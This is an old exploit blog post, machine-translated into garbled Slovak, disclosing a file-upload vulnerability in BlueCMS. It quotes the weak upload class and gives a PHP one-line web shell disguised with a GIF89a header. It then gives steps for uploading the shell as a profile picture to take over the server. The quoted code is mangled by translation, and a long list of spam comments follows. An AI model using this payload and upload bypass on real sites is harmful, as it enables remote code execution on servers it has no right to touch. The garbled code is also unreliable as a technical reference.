RSS

bluecms 0 dni

Tento záznam bol zaslaný Október 07 2009

: St0p
Reprodukovať uveďte zdroj: http://www.st0p.org

Poznámka: Ospravedlňujeme sa, ale verzia ranné vlasov v noci volal duálny do novín 0day, informovaný a jednoducho ísť na oficiálnej pozrel, a vydala opravu zabezpečenia čoskoro ah .. môžete ísť on-line nie je aktualizovaná verzia testu ...

Bohužiaľ, skupina A môj kamarát robil CMS, povedal užívateľské dáta upraviť niektoré môžu byť aplikovaný, hovorí analýza, s lokálne nainštalované po, nie je možné použiť jednoduché úvodzovky sú unikol magic_quotes_gpc = off. . .

Pozri include / common.inc.php linku, vzdať. .

 
 2
 3
 4
 5
 6
 7
 8
 9
  ......
  ! get_magic_quotes_gpc ( ) ) if (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; $ _POST = Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET = ($ _GET Deep_addslashes);
 	 deep_addslashes ( $_COOKIES ) ; Sk _COOKIES = Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; Sk _REQUEST = ($ _REQUEST Deep_addslashes);
  }
 ...... 

Možno st0p šťastie, pozri nahrať fotografie častí, analýza kódu, použiť niečo nájsť v user.php. .

 
 2
 3
 4
 5
 6
  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. "include / upload.class.php '); / / volanie triedy nahrávanie
     new upload ( ) ; $ Image = new upload ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { if (isset ($ _FILES ['face_pic'] ['error']) && $ _FILES ['face_pic'] ['error'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; $ $ = Face_pic obrázok -> img_upload ($ _FILES ['face_pic'], 'face_pic'); 
                          / / Nezistila príponu priamo do, bude trieda schopní preniesť SHELL
	 } 

Otvorte include / upload.class.php iba na detekciu hlavičku súboru nerozpozná príponu

 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
  ......
 trieda nahrávanie {
	 = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; private $ allow_image_type = array ("image / jpg ',' image / gif ',' image / png ',' image / pjpeg ');
 ......
     $file , $dir = '' , $imgname = '' ) { Funkcia img_upload ($ file, $ dir ='', $ imgname ='') {
    	 empty ( $dir ) ) { if (empty ($ dir)) {
    		 BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; Týždeň. $ Dir = BLUE_ROOT Nahrávanie dát Date ("YM") "/".;
    	 { Else {}
    		 BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; Týždeň. $ Dir = BLUE_ROOT Nahrávanie dát $ dir "/."
    	 }

    	 ! file_exists ( $dir ) ) { if (! file_exists ($ dir)) {
    		 ! mkdir ( $dir ) ) { if (! mkdir ($ dir)) {
    			 ) ; showmsg (ďalej len "proces nahrávania Nepodarilo sa vytvoriť adresár ');
    		 }
    	 }
    	 empty ( $imgname ) ) { if (empty ($ imgname)) {
    		 $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; $ Imgname = $ this -> create_tempname () $ this -> get_type ($ file ['name']).;
    	 }
    	 $dir . $imgname ; $ Imgname = $ dir $ Imgname.;
    	 ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { if (in_array ($ file ['type'], $ this -> allow_image_type)) {
              / / Len pre detekciu súboru hlavičku dopredu, potom sme sa priamo postaviť ako SHELL
    		 ) ; showmsg ('neumožňuje typ obrázok');
    	 }


     } 

Vyššie uvedené výnimkou st0p.php

 
 2
  GIF89a
 ( $_POST [ st0p ] ) ; ?> <PHP Eval ($ _POST [st0p]);?> 

Poznámka Network účet, prihlásiť, člen -> môj profil, potom nahrať nový obrázok do volieb sme vybudovali PHP súboru, prejdite na potvrdenie zmení, po úspechu kliknite pravým tlačidlom myši na obrázok pre zobrazenie adresy na linke. . Slovo SHELL úspešne nahraný!

bluecms-0day1

bluecms-0day2

Analýza je dokončená, dúfam, že ďalšia výmena, problém tieto veci len chcete splniť niekoľko priateľov spoločne diskutovať o technológiu, nastaviť skupinu rovnako, len obyčajná skupina, len 100 ľudí, vyčistiť, nikdy sa hovorí bol ťažko naložené B chaos T, depresia, je otvorená skupina na výmenu a nehovorí sa symbol v mieste, chcú k pokroku, môže ísť stranou cesty!
Ak si do skupiny len preto, aby výsledky rokovaní iných, z iných, neviem zaplatiť, alebo sa len prísť potápanie, alebo bez neho. . .

Chinese (Simplified) flagItalian flagKorean flagChinese (Traditional) flagPortuguese flagEnglish flagGerman flagFrench flagSpanish flagJapanese flagArabic flagRussian flagGreek flagDutch flagBulgarian flagCzech flagCroatian flagDanish flagFinnish flagHindi flagPolish flagRomanian flagSwedish flagNorwegian flagCatalan flagFilipino flagHebrew flagIndonesian flagLatvian flagLithuanian flagSerbian flagSlovak flagSlovenian flagUkrainian flagVietnamese flagAlbanian flagEstonian flagGalician flagMaltese flagThai flagTurkish flagHungarian flag


79 Reakcie na "bluecms 0day"

  1. Ja, verjetno zato JE


  1. 78 Odozva (y)

  2. začiatočníci Sprievodca ceruzka, kreslenie
  3. Taxi Boston
  4. Záhradkári palcov Crouch End na N8
  5. Krajina Záhradkári Londýn
  6. EBook
  7. definitívne technológie supercubeï ¿ ½ 6000
  8. nutrición Deportiva
  9. Whatman Extrakčné patróny
  10. 1 tiu
  11. portarollo
  12. Antykwariat
  13. ď »ż Alpha Záručné služby,
  14. Alpha Záručná služby
  15. NBA predpovede
  16. Manistee svadobný fotograf
  17. wof Christchurch
  18. free porno videa na
  19. kulturistika tričko
  20. NFL kurzy
  21. Kde vsádzať Super Bowl 46
  22. poškodenie chrbtice
  23. Inzercia zdarma
  24. St George chiropraktik
  25. jasnovidca Veľká Británia
  26. stávková kancelária stávkovanie
  27. flebotómie technik
  28. mazda náhradné diely
  29. auto zámočník v Port Richmond, NY
  30. agustus
  31. trycholog Gdynia
  32. kupóny výmeny oleja
  33. horný ázijských stávková kancelária
  34. Donald málo Bobby uhnúť predplatné
  35. Auckland drainlayer
  36. psychické svetlo
  37. Elektrik
  38. fyzikálna terapia asistent
  39. táborníci svet
  40. duchovný
  41. Abdel-Malik
  42. domy sk
  43. golfového švihu pomoc
  44. stolárstvo Auckland
  45. duševné čítania
  46. sliepky noc
  47. Aboubakar
  48. Online hry
  49. Alisson
  50. NBA výber
  51. bez psychickej chatu
  52. bezpečnostné dvere sk
  53. turistické obchody
  54. sanatória palcov Auckland
  55. Inšpektori Auckland
  56. on-line ryby obchod
  57. Ares, na stiahnutie zadarmo
  58. Szkoła Jazdy Gdynia opinie
  59. Antykwariat
  60. Žalúzie
  61. Zdarma Beats By Dre
  62. Fidži balíčky
  63. marketing webu
  64. treehouses
  65. Dynamic izolácie
  66. o Tribal tattoos
  67. Rebríček SEO služby,
  68. Supply Chain Management ihrisko,
  69. CIA Test Prep
  70. okná Auckland
  71. Chanel, HODINKY
  72. auto poistenie cituje
  73. solárne
  74. Oceňovanie podniku
  75. assentient bestamp v rozpore s
  76. Gucci tašky Outlet
  77. Grecja niepodległa.
  78. . Napoleon i Jégo marszałkowie Napoleon et ses marechaux
  79. Kliknite tu!

Musíte byť prihlásený , aby ste mohli písať komentár.